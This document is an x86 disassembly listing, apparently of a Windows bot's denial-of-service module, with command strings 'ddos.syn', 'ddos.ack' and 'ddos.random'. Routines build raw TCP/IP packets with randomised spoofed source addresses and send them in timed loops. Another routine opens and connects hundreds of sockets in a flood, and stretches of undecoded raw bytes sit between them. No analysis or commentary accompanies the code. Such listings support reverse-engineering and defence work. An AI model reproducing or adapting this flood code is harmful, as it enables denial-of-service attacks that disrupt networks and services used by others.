var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = byte ptr -34h
var_32 = word ptr -32h
var_30 = word ptr -30h
var_2E = word ptr -2Eh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = byte ptr -8
var_7 = byte ptr -7
var_6 = word ptr -6
var_4 = word ptr -4
var_2 = word ptr -2
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB5C4
test eax, eax
jz short loc_412B49
xor eax, eax
jmp loc_412E3C
; ---------------------------------------------------------------------------
loc_412B49: ; CODE XREF: sub_412B09+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CB6F8
cmp eax, 0FFFFFFFFh
mov [ebp+var_20], eax
jz loc_412E34
push esi
lea ecx, [ebp+var_40]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_40], edi
call dword_4CB634
cmp eax, 0FFFFFFFFh
jz loc_412E2A
push [ebp+arg_C]
mov [ebp+var_58], 2
call dword_4CB654
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_56], ax
mov [ebp+var_54], esi
mov [ebp+var_34], 45h
call dword_4CB654
push [ebp+arg_C]
mov [ebp+var_32], ax
mov [ebp+var_30], di
mov [ebp+var_2E], bx
mov [ebp+var_2C], 80h
mov [ebp+var_2B], 6
mov [ebp+var_2A], bx
mov [ebp+var_24], esi
call dword_4CB654
mov [ebp+var_12], ax
call sub_41B8E2
movzx eax, ax
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_4CB654
push 12345678h
mov [ebp+var_14], ax
call dword_4CB650
push offset aDdos_syn ; "ddos.syn"
mov [ebp+var_10], eax
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_412C19
mov [ebp+var_C], ebx
mov [ebp+var_7], 2
jmp short loc_412C6D
; ---------------------------------------------------------------------------
loc_412C19: ; CODE XREF: sub_412B09+105j
push offset aDdos_ack ; "ddos.ack"
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_412C35
mov [ebp+var_C], ebx
mov [ebp+var_7], 10h
jmp short loc_412C6D
; ---------------------------------------------------------------------------
loc_412C35: ; CODE XREF: sub_412B09+121j
push offset aDdos_random ; "ddos.random"
push [ebp+arg_8]
call sub_41C070
pop ecx
test eax, eax
pop ecx
jnz short loc_412C6D
call sub_41B8E2
push 3
cdq
pop ecx
idiv ecx
mov [ebp+var_C], edx
call sub_41B8E2
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+var_7], dl
loc_412C6D: ; CODE XREF: sub_412B09+10Ej
; sub_412B09+12Aj ...
push 4000h
mov [ebp+var_8], 50h
call dword_4CB654
mov [ebp+var_6], ax
lea eax, [ebp+var_48]
push eax
mov [ebp+var_2], bx
mov [ebp+arg_8], ebx
nop
call near ptr 2780378h
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 2780000h
push [ebp+var_44]
mov eax, [ebp+arg_10]
cdq
push [ebp+var_48]
push edx
push eax
call sub_41D280
add eax, [ebp+var_1C]
push 14h
pop esi
adc edx, [ebp+var_18]
mov [ebp+var_3C], eax
mov [ebp+var_38], edx
loc_412CBB: ; CODE XREF: sub_412B09+2E2j
; sub_412B09+2F0j
mov [ebp+var_4], bx
call sub_41B8E2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB654
mov [ebp+var_14], ax
call sub_41B8E2
mov edi, eax
shl edi, 10h
call sub_41B8E2
or edi, eax
push edi
call dword_4CB654
movzx eax, ax
mov [ebp+var_10], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB650
mov [ebp+var_28], eax
mov eax, [ebp+var_24]
push esi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB654
mov [ebp+var_6E], ax
mov eax, [ebp+var_28]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41C310
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AC69
mov [ebp+var_4], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_14]
push esi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41C310
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41B590
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AC69
mov [ebp+var_2A], ax
lea eax, [ebp+var_34]
push esi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
add esp, 14h
lea eax, [ebp+var_58]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_20]
call dword_4CB6B8
cmp eax, 0FFFFFFFFh
jz short loc_412DFE
add [ebp+arg_8], eax
lea eax, [ebp+var_1C]
push eax
nop
call near ptr 2780000h
mov eax, [ebp+var_18]
cmp eax, [ebp+var_38]
jg short loc_412E27
jl loc_412CBB
mov eax, [ebp+var_1C]
cmp eax, [ebp+var_3C]
jnb short loc_412E27
jmp loc_412CBB
; ---------------------------------------------------------------------------
loc_412DFE: ; CODE XREF: sub_412B09+2CBj
call dword_4CB5E8
push eax
lea eax, [ebp+var_F4]
push offset dword_436214
push eax
call sub_41B886
lea eax, [ebp+var_F4]
push eax
call sub_4151AD
add esp, 10h
jmp short loc_412E2A
; ---------------------------------------------------------------------------
loc_412E27: ; CODE XREF: sub_412B09+2E0j
; sub_412B09+2EEj
mov ebx, [ebp+arg_8]
loc_412E2A: ; CODE XREF: sub_412B09+78j
; sub_412B09+31Cj
push [ebp+var_20]
call dword_4CB6EC
pop esi
loc_412E34: ; CODE XREF: sub_412B09+5Bj
call dword_4CB5AC
mov eax, ebx
loc_412E3C: ; CODE XREF: sub_412B09+3Bj
pop edi
pop ebx
leave
retn
sub_412B09 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AAFA
push dword ptr [esp+18h]
mov esi, eax
call sub_41B779
push dword ptr [esp+24h]
mov ebx, eax
call sub_41B779
mov edi, eax
call sub_41B8E2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
push dword ptr [esp+2Ch]
lea eax, [edx+esi+100h]
push eax
push esi
call sub_412B09
add esp, 20h
test eax, eax
jnz short loc_412E8F
push 1
pop eax
loc_412E8F: ; CODE XREF: ___:00412E8Aj
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
word_412E9E dw 8B55h ; DATA XREF: sub_401ACD+6722o
dd 0BCEC81ECh, 53000003h, 8458B56h, 8B686A57h, 0BD8D59F0h
dd 0FFFFFE44h, 685B016Ah, 0FFh, 0A5F3036Ah, 9889026Ah
dd 19Ch, 0B6D415FFh, 0F883004Ch, 0FC4589FFh, 15FF5F75h
dd 4CB5E8h, 44858D50h, 68FFFFFCh, 436314h, 8994E850h, 0FF330000h
dd 390CC483h, 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h
dd 0FFFF4885h, 0B5FF50FFh, 0FFFFFE44h, 0FF6B5AE8h, 14C483FFh
dd 0FC44858Dh, 0E850FFFFh, 2285h, 0E8C875FFh, 0FFFF84E3h
dd 90575959h, 2CD0C7E8h, 0F44D8D02h, 3351046Ah, 57026AFFh
dd 0F45D8950h, 0B63415FFh
db 4Ch, 0
word_412F4E dw 0F883h ; DATA XREF: ___:off_43A86Co
dd 0FF5D75FFh, 4CB5E815h, 858D5000h, 0FFFFFC44h, 4362E468h
dd 1BE85000h, 83000089h, 7D390CC4h, 572075DCh, 0FC44858Dh
dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh
dd 0FFFF6AE3h, 8D14C483h, 0FFFC4485h, 0EE850FFh, 0FF000022h
dd 6CE8C875h, 59FFFF84h, 0E8905759h, 22CD050h, 0FE48858Dh
dd 0FF50FFFFh, 4CB69415h, 0FFF88300h, 858D5575h, 0FFFFFC44h
dd 4362C468h, 0B3E85000h, 39000088h, 5959DC7Dh, 8D572075h
dd 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh, 0FE44B5FFh
dd 7CE8FFFFh, 83FFFF6Ah, 858D14C4h, 0FFFFFC44h, 21A7E850h
dd 75FF0000h, 8405E8C8h, 5959FFFFh, 0E9E89057h, 6A022CCFh
dd 0E4458D10h, 6DE85057h, 83000085h, 0C7660CC4h, 2E445h
dd 5415FF57h, 66004CB6h, 8DE64589h, 0FFFE4885h, 15FF50FFh
dd 4CB694h, 70A8358Bh, 45890042h, 87D89E8h, 4589D6FFh
dd 2BD6FFF8h, 0D233F845h, 3E8B9h, 3BF1F700h, 870FD045h
dd 194h, 41C68h, 0C805C600h, 45004CE3h, 0B65415FFh, 7D39004Ch
dd 0CAA366D4h, 66004CE3h, 0E3CC1D89h, 8966004Ch, 4CE3CE3Dh
dd 0D005C600h, 80004CE3h, 0E3D11D88h, 8966004Ch, 4CE3D23Dh
dd 0E8307400h, 8832h, 0E3C1D88Bh, 8828E808h, 0D8030000h
dd 0E808E3C1h, 881Eh, 0E3C1D803h, 8814E808h, 0D8030000h
dd 1D89016Ah, 4CE3D4h, 0FF18EB5Bh, 0FFFE44B5h, 7B2AE8FFh
dd 5059FFFFh, 0B69415FFh, 0D4A3004Ch, 8B004CE3h, 0D8A3E845h
dd 0E8004CE3h, 87E2h, 100B999h, 0F9F70000h, 0E3DC1588h
dd 0CFE8004Ch, 99000087h, 100B9h, 88F9F700h, 4CE3DD15h
dd 87BCE800h, 0B9990000h, 0F0h, 40068h, 66F9F700h, 0E3DE3D89h
dd 8966004Ch, 4CE3E21Dh, 89664200h, 4CE3E015h, 8794E800h
dd 0B9990000h, 0FFh, 6852F9F7h, 4CE3E4h, 842FE8h, 0CC48300h
dd 6AE4458Dh, 68575010h, 41Ch, 4CE3C868h, 0FC75FF00h, 0B6B815FFh
dd 0F883004Ch, 0FF0874FFh, 0CAE90845h, 0FFFFFFFEh, 15FFFC75h
dd 4CB6ECh, 0B5E815FFh, 8D50004Ch, 0FFFE4885h, 875FFFFh
dd 627C6850h, 858D0043h, 0FFFFFC44h, 20068h, 0C5E85000h
dd 83000087h, 7D3918C4h, 572075DCh, 0FC44858Dh, 75FFFFFFh
dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6893h
dd 8D14C483h, 0FFFC4485h, 0BEE850FFh, 0FF00001Fh, 1CE8C875h
dd 59FFFF82h, 1E85759h, 90022CCEh, 0FFFC75FFh, 4CB6EC15h
dd 8458B00h, 0C06BD233h, 0C1C88B3Ch, 75F70AE8h, 14E9C1D0h
dd 858D5051h, 0FFFFFE48h, 500875FFh, 0FEC8858Dh, 8D50FFFFh
dd 0FFFC4485h, 623068FFh, 0E8500043h, 8646h, 391CC483h
dd 2075DC7Dh, 44858D57h, 0FFFFFFFCh, 8D50D875h, 0FFFF4885h
dd 0B5FF50FFh, 0FFFFFE44h, 0FF680EE8h, 14C483FFh, 0FC44858Dh
dd 0E850FFFFh, 1F39h, 0E8C875FFh, 0FFFF8197h, 90575959h
dd 2CCD7BE8h
db 2
byte_413285 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+5510o
dd 10320B8h, 888EE800h, 458B0000h, 57565308h, 0F08B496Ah
dd 0BCBD8D59h, 0F3FFFFFEh, 5F016AA5h, 120B889h, 15FF0000h
dd 4CB5DCh, 8D084589h, 0FFFF4085h, 15FF50FFh, 4CB694h
dd 0DB33F08Bh, 0FE83C033h, 8D1175FFh, 0FFFF4085h, 15FF50FFh
dd 4CB6D8h, 674C33Bh, 0FF087D83h, 858D5D75h, 0FFFFFF40h
dd 0BC858D50h, 68FFFFFCh, 43636Ch, 8588E850h, 0C4830000h
dd 0D85D390Ch, 8D532075h, 0FFFCBC85h, 0D475FFFFh, 0C0858D50h
dd 50FFFFFEh, 0FEBCB5FFh, 50E8FFFFh, 83FFFF67h, 858D14C4h
dd 0FFFFFCBCh, 1E7BE850h, 75FF0000h, 80D9E8D0h, 5959FFFFh
dd 0CCBEE857h, 3B90022Ch, 8B0C74C3h, 8B0C40h, 4589008Bh
dd 8903EBFCh, 1C6AFC75h, 53E0458Dh, 822EE850h, 4D830000h
dd 0DCB8FFE8h, 830000FFh, 45390CC4h, 89037EC4h, 7D39C445h
dd 89037DC8h, 0F633C87Dh, 7EC05D39h, 0C875FF26h, 6AE0458Dh
dd 8D53501Ch, 0FEFCE085h, 0C475FFFFh, 0FC75FF50h, 0FF0875FFh
dd 4CB56C15h, 753B4600h, 0FFDA7CC0h, 15FF0875h, 4CB70Ch
dd 0FF40858Dh, 8D50FFFFh, 0FFFCBC85h, 634068FFh, 0E8500043h
dd 84BAh, 390CC483h, 2075D85Dh, 0BC858D53h, 0FFFFFFFCh
dd 8D50D475h, 0FFFEC085h, 0B5FF50FFh, 0FFFFFEBCh, 0FF6682E8h
dd 14C483FFh, 0FCBC858Dh, 0E850FFFFh, 1DADh, 0E8D075FFh
dd 0FFFF800Bh, 90535959h, 2CCBEFE8h
db 2
byte_413411 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+575Co
dd 10310B8h, 8702E800h, 458B0000h, 57565308h, 0F08B496Ah
dd 0CCBD8D59h, 0F3FFFFFEh, 5E016AA5h, 120B089h, 66E80000h
dd 900227D6h, 8492E850h, 6A590000h, 6A026A11h, 0D415FF02h
dd 8B004CB6h, 6AFF33D8h, 0F0458D10h, 2DE85057h, 83000081h
dd 858D0CC4h, 0FFFFFF50h, 0F045C766h, 0FF500002h, 4CB69415h
dd 0FFF88300h, 75084589h, 50858D75h, 50FFFFFFh, 0B6D815FFh
dd 0C73B004Ch, 858D5D75h, 0FFFFFF50h, 0CC858D50h, 68FFFFFCh
dd 4363C0h, 83DCE850h, 0C4830000h, 0E87D390Ch, 8D572075h
dd 0FFFCCC85h, 0E475FFFFh, 0D0858D50h, 50FFFFFEh, 0FECCB5FFh
dd 0A4E8FFFFh, 83FFFF65h, 858D14C4h, 0FFFFFCCCh, 1CCFE850h
dd 75FF0000h, 7F2DE8E0h, 5959FFFFh, 11E89056h, 8B022CCBh
dd 8B0C40h, 458D03EBh, 39008B08h, 4589DC7Dh, 0E81175F4h
dd 83DAh, 0FFDCB999h, 0F9F70000h, 3EB5242h, 0FFDC75FFh
dd 4CB65415h, 0DC753900h, 0F2458966h, 7589037Dh, 0FFFFB8DCh
dd 45390000h, 89037EDCh, 458BDC45h, 990A6AD0h, 39F9F759h
dd 4589D87Dh, 890375D0h, 0F633D875h, 7ED47D39h, 838CE81Ah
dd 0B9990000h, 0FFh, 3B46F9F7h, 9488D475h, 0FEFCEF35h
dd 8BE67CFFh, 4DFFD045h, 7EC085D0h, 5E0B6A55h, 6AF0458Dh
dd 0E8575010h, 835Eh, 59990A6Ah, 458BF9F7h, 50C22BD4h
dd 0FCF0858Dh, 5350FFFEh, 0B6B815FFh, 75FF004Ch, 59E890D8h
dd 4E0226CAh, 7D39CE75h, 0E8BC75DCh, 832Eh, 0FFDCB999h
dd 0F9F70000h, 15FF5242h, 4CB654h, 0F2458966h, 858DA1EBh
dd 0FFFFFF50h, 0CC858D50h, 68FFFFFCh, 436394h, 82A4E850h
dd 0C4830000h, 0E87D390Ch, 8D572075h, 0FFFCCC85h, 0E475FFFFh
dd 0D0858D50h, 50FFFFFEh, 0FECCB5FFh, 6CE8FFFFh, 83FFFF64h
dd 858D14C4h, 0FFFFFCCCh, 1B97E850h, 75FF0000h, 7DF5E8E0h
dd 5959FFFFh, 0D9E89057h
db 0C9h, 2Ch, 2
byte_413627 db 55h ; DATA XREF: sub_401ACD+4DEDo
dd 0EC81EC8Bh, 414h, 5608458Bh, 85B957h, 0F08B0000h, 0FDECBD8Dh
dd 0A5F3FFFFh, 21080C7h, 10000h, 858D0000h, 0FFFFFEF0h
dd 70858D50h, 50FFFFFEh, 0FDF0858Dh, 0E850FFFFh, 120h
dd 500CC483h, 0FBEC858Dh, 0E868FFFFh, 50004363h, 8209E8h
dd 83F63300h, 75390CC4h, 562075F8h, 0FBEC858Dh, 75FFFFFFh
dd 858D50F4h, 0FFFFFF70h, 0ECB5FF50h, 0E8FFFFFDh, 0FFFF63CFh
dd 8D14C483h, 0FFFBEC85h, 0FAE850FFh, 0FF00001Ah, 58E8F075h
dd 59FFFF7Dh, 0E8905659h, 22CC93Ch
; ---------------------------------------------------------------------------
pop edi
pop esi
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4136C6 proc near ; CODE XREF: ___:004137AFp
var_654 = byte ptr -654h
var_14 = word ptr -14h
var_12 = word ptr -12h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 654h
push 10h
lea eax, [ebp+var_14]
push 0
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_14], 2
push [ebp+arg_4]
call dword_4CB654
mov [ebp+var_12], ax
mov eax, [ebp+arg_0]
mov [ebp+var_10], eax
mov eax, [ebp+arg_8]
test eax, eax
mov [ebp+var_4], 1
jle short loc_413784
push ebx
push esi
push edi
mov [ebp+arg_4], eax
mov edi, 190h
loc_413711: ; CODE XREF: sub_4136C6+B9j
lea esi, [ebp+var_654]
mov ebx, edi
loc_413719: ; CODE XREF: sub_4136C6+7Aj
push 0
push 1
push 2
nop
call near ptr 71AB3C22h
cmp eax, 0FFFFFFFFh
mov [esi], eax
jz short loc_41373C
lea ecx, [ebp+var_4]
push ecx
push 8004667Eh
push eax
nop
call near ptr 71AB155Ah
loc_41373C: ; CODE XREF: sub_4136C6+64j
add esi, 4
dec ebx
jnz short loc_413719
lea esi, [ebp+var_654]
mov ebx, edi
loc_41374A: ; CODE XREF: sub_4136C6+96j
lea eax, [ebp+var_14]
push 10h
push eax
push dword ptr [esi]
nop
call near ptr 71AB3E5Dh
add esi, 4
dec ebx
jnz short loc_41374A
push 64h
nop
call near ptr 2680000h
lea esi, [ebp+var_654]
mov ebx, edi
loc_41376E: ; CODE XREF: sub_4136C6+B4j
push dword ptr [esi]
nop
call near ptr 71AB1A6Dh
add esi, 4
dec ebx
jnz short loc_41376E
dec [ebp+arg_4]
jnz short loc_413711
pop edi
pop esi
pop ebx
loc_413784: ; CODE XREF: sub_4136C6+3Ej
xor eax, eax
leave
retn
sub_4136C6 endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AAFA
push dword ptr [esp+18h]
mov edi, eax
call sub_41B779
push dword ptr [esp+20h]
mov ebx, eax
call sub_41B779
mov esi, eax
push esi
push ebx
push edi
call sub_4136C6
add esp, 18h
test eax, eax
jnz short loc_4137BE
push 1
pop eax
loc_4137BE: ; CODE XREF: ___:004137B9j
cdq
mov ecx, 3E8h
pop edi
idiv ecx
cdq
idiv esi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
byte_4137CD db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+644Ao
dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh
dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h
dd 858D50FFh, 0FFFFFDF0h, 310E850h, 0C4830000h, 858D500Ch
dd 0FFFFFBECh, 43641468h, 63E85000h, 33000080h, 0CC483F6h
dd 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh, 0FF70858Dh
dd 0FF50FFFFh, 0FFFDECB5h, 6229E8FFh, 0C483FFFFh, 0EC858D14h
dd 50FFFFFBh, 1954E8h, 0F075FF00h, 0FF7BB2E8h, 565959FFh
dd 0C796E890h, 5E5F022Ch
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41386C proc near ; CODE XREF: ___:00413B5Ap
var_284 = byte ptr -284h
var_F4 = byte ptr -0F4h
var_B4 = byte ptr -0B4h
var_B3 = byte ptr -0B3h
var_A0 = byte ptr -0A0h
var_94 = byte ptr -94h
var_8C = byte ptr -8Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = byte ptr -70h
var_6F = byte ptr -6Fh
var_6E = word ptr -6Eh
var_58 = dword ptr -58h
var_50 = word ptr -50h
var_4E = word ptr -4Eh
var_4C = dword ptr -4Ch
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_32 = word ptr -32h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = byte ptr -28h
var_27 = byte ptr -27h
var_26 = word ptr -26h
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = byte ptr -20h
var_1E = word ptr -1Eh
var_1C = word ptr -1Ch
var_1A = word ptr -1Ah
var_18 = byte ptr -18h
var_17 = byte ptr -17h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 284h
push ebx
push edi
push 0Eh
xor ebx, ebx
pop ecx
xor eax, eax
lea edi, [ebp+var_B3]
mov [ebp+var_B4], bl
rep stosd
stosw
stosb
lea eax, [ebp+var_284]
push eax
push 202h
call dword_4CB5C4
test eax, eax
jz short loc_4138AC
xor eax, eax
jmp loc_413B1A
; ---------------------------------------------------------------------------
loc_4138AC: ; CODE XREF: sub_41386C+37j
push 1
pop edi
push edi
push ebx
push ebx
push 0FFh
push 3
push 2
call dword_4CB6F8
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jz loc_413B12
push esi
lea ecx, [ebp+var_38]
push 4
push ecx
push 2
push ebx
push eax
mov [ebp+var_38], edi
call dword_4CB634
cmp eax, 0FFFFFFFFh
jz loc_413B08
push 10h
lea eax, [ebp+var_50]
push ebx
push eax
call sub_41B590
add esp, 0Ch
mov [ebp+var_50], 2
push [ebp+arg_8]
call dword_4CB654
mov esi, [ebp+arg_0]
push 28h
mov [ebp+var_4E], ax
mov [ebp+var_4C], esi
mov [ebp+var_20], 45h
call dword_4CB654
push [ebp+arg_8]
mov [ebp+var_1E], ax
mov [ebp+var_1C], di
mov [ebp+var_1A], bx
mov [ebp+var_18], 80h
mov [ebp+var_17], 6
mov [ebp+var_16], bx
mov [ebp+var_10], esi
call dword_4CB654
push 4000h
mov [ebp+var_32], ax
mov [ebp+var_2C], ebx
mov [ebp+var_28], 50h
mov [ebp+var_27], 2
call dword_4CB654
mov [ebp+var_26], ax
lea eax, [ebp+var_40]
push eax
mov [ebp+var_22], bx
mov [ebp+arg_8], ebx
nop
call near ptr 2780378h
lea eax, [ebp+var_8]
push eax
nop
call near ptr 2780000h
push [ebp+var_3C]
mov eax, [ebp+arg_C]
cdq
push [ebp+var_40]
push edx
push eax
call sub_41D280
add eax, [ebp+var_8]
mov esi, edx
adc esi, [ebp+var_4]
mov [ebp+var_58], eax
loc_413997: ; CODE XREF: sub_41386C+25Dj
; sub_41386C+26Bj
mov [ebp+var_24], bx
call sub_41B8E2
cdq
mov ecx, 3E9h
idiv ecx
add edx, 3E8h
push edx
call dword_4CB654
mov [ebp+var_34], ax
call sub_41B8E2
mov edi, eax
shl edi, 10h
call sub_41B8E2
or edi, eax
push edi
call dword_4CB654
movzx eax, ax
mov [ebp+var_30], eax
mov eax, [ebp+arg_4]
inc [ebp+arg_4]
push eax
call dword_4CB650
push 14h
mov [ebp+var_14], eax
mov eax, [ebp+var_10]
pop edi
push edi
mov [ebp+var_74], eax
mov [ebp+var_70], bl
mov [ebp+var_6F], 6
call dword_4CB654
mov [ebp+var_6E], ax
mov eax, [ebp+var_14]
mov [ebp+var_78], eax
lea eax, [ebp+var_78]
push 20h
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_94]
push eax
call sub_41C310
lea eax, [ebp+var_B4]
push 34h
push eax
call sub_40AC69
mov [ebp+var_24], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
lea eax, [ebp+var_34]
push edi
push eax
lea eax, [ebp+var_A0]
push eax
call sub_41C310
push 4
lea eax, [ebp+var_8C]
push ebx
push eax
call sub_41B590
add esp, 44h
lea eax, [ebp+var_B4]
push 28h
push eax
call sub_40AC69
mov [ebp+var_16], ax
lea eax, [ebp+var_20]
push edi
push eax
lea eax, [ebp+var_B4]
push eax
call sub_41C310
add esp, 14h
lea eax, [ebp+var_50]
push 10h
push eax
push ebx
lea eax, [ebp+var_B4]
push 28h
push eax
push [ebp+var_C]
call dword_4CB6B8
cmp eax, 0FFFFFFFFh
jz short loc_413ADC
add [ebp+arg_8], eax
lea eax, [ebp+var_8]
push eax
nop
call near ptr 2780000h
mov eax, [ebp+var_4]
cmp eax, esi
jg short loc_413B05
jl loc_413997
mov eax, [ebp+var_8]
cmp eax, [ebp+var_58]
jnb short loc_413B05
jmp loc_413997
; ---------------------------------------------------------------------------
loc_413ADC: ; CODE XREF: sub_41386C+247j
call dword_4CB5E8
push eax
lea eax, [ebp+var_F4]
push offset dword_43643C
push eax
call sub_41B886
lea eax, [ebp+var_F4]
push eax
call sub_4151AD
add esp, 10h
jmp short loc_413B08
; ---------------------------------------------------------------------------
loc_413B05: ; CODE XREF: sub_41386C+25Bj
; sub_41386C+269j
mov ebx, [ebp+arg_8]
loc_413B08: ; CODE XREF: sub_41386C+78j
; sub_41386C+297j
push [ebp+var_C]
call dword_4CB6EC
pop esi
loc_413B12: ; CODE XREF: sub_41386C+5Bj
call dword_4CB5AC
mov eax, ebx
loc_413B1A: ; CODE XREF: sub_41386C+3Bj
pop edi
pop ebx
leave
retn
sub_41386C endp
; ---------------------------------------------------------------------------
push ebx
push esi
push edi
push dword ptr [esp+10h]
call sub_40AAFA
push dword ptr [esp+18h]
mov esi, eax
call sub_41B779
push dword ptr [esp+20h]
mov ebx, eax
call sub_41B779
mov edi, eax
call sub_41B8E2
cdq
mov ecx, 200h
push edi
idiv ecx
push ebx
lea eax, [edx+esi+100h]
push eax
push esi
call sub_41386C
add esp, 1Ch
test eax, eax
jnz short loc_413B69
push 1
pop eax
loc_413B69: ; CODE XREF: ___:00413B64j
cdq
mov ecx, 3E8h
idiv ecx
cdq
idiv edi
pop edi
pop esi
pop ebx
retn
; ---------------------------------------------------------------------------
dword_413B78 dd 81EC8B55h, 394ECh, 8458B00h, 656A5756h, 8DF08B59h, 0FFFE6CBDh
; DATA XREF: sub_401ACD+6E45o
dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7BD0E8h
dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4CB694h, 5DE850h
dd 59590000h, 6C858D50h, 68FFFFFCh, 43645Ch, 7CB4E850h
dd 0F6330000h, 390CC483h, 2075F875h, 6C858D56h, 0FFFFFFFCh
dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFE6Ch, 0FF5E7AE8h
dd 14C483FFh, 0FC6C858Dh, 0E850FFFFh, 15A5h, 0E8F075FFh
dd 0FFFF7803h, 90565959h, 2CC3E7E8h, 555E5F02h, 0EC81EC8Bh
dd 98h, 6A575653h, 0A5835901h, 0FFFFFF78h, 83046A00h, 5E00A865h
dd 0FFBBh, 33066A00h, 7D8D5AC0h, 7C8D89ACh, 0C7FFFFFFh
dd 28045h, 75890000h, 88558984h, 88C45C7h, 0C7000000h
dd 0C9045h, 45C70000h, 1194h, 9845C700h, 16h, 299C45C7h
dd 0C7000000h, 3AA045h, 5D890000h, 0B04589A4h, 0D47D8DABh
dd 89B44589h, 45C7B845h, 2000BCh, 0C0758900h, 0C7C45589h
dd 3FFFC845h, 4D890000h, 0D04589CCh, 0ABD84D89h, 100BFh
dd 0AE85700h, 59000093h, 57FC4589h, 6815FF50h, 0FF004CB6h
dd 15FFFC75h, 4CB6D8h, 530C408Bh, 26A036Ah, 8B008Bh, 0FFF44589h
dd 4CB6D415h, 0D84D8D00h, 26A5156h, 8950006Ah, 15FFFC45h
dd 4CB634h, 200BEh, 0D2E85600h, 8B000077h, 4270A83Dh, 45895900h
dd 89D7FFF8h, 458BF045h, 29A6808h, 85890000h, 0FFFFFF6Ch
dd 6885C766h, 2FFFFFFh, 5415FF00h, 66004CB6h, 0FF6A8589h
dd 0D7FFFFFFh, 33F0452Bh, 3E8B9D2h, 0F1F70000h, 0F0C453Bh
dd 0CF87h, 7B90E800h, 8B990000h, 8BF9F7CBh, 0FF25F445h
dd 0C100FFFFh, 0D00B18E2h, 0E8F45589h, 7B76h, 0F7CB8B99h
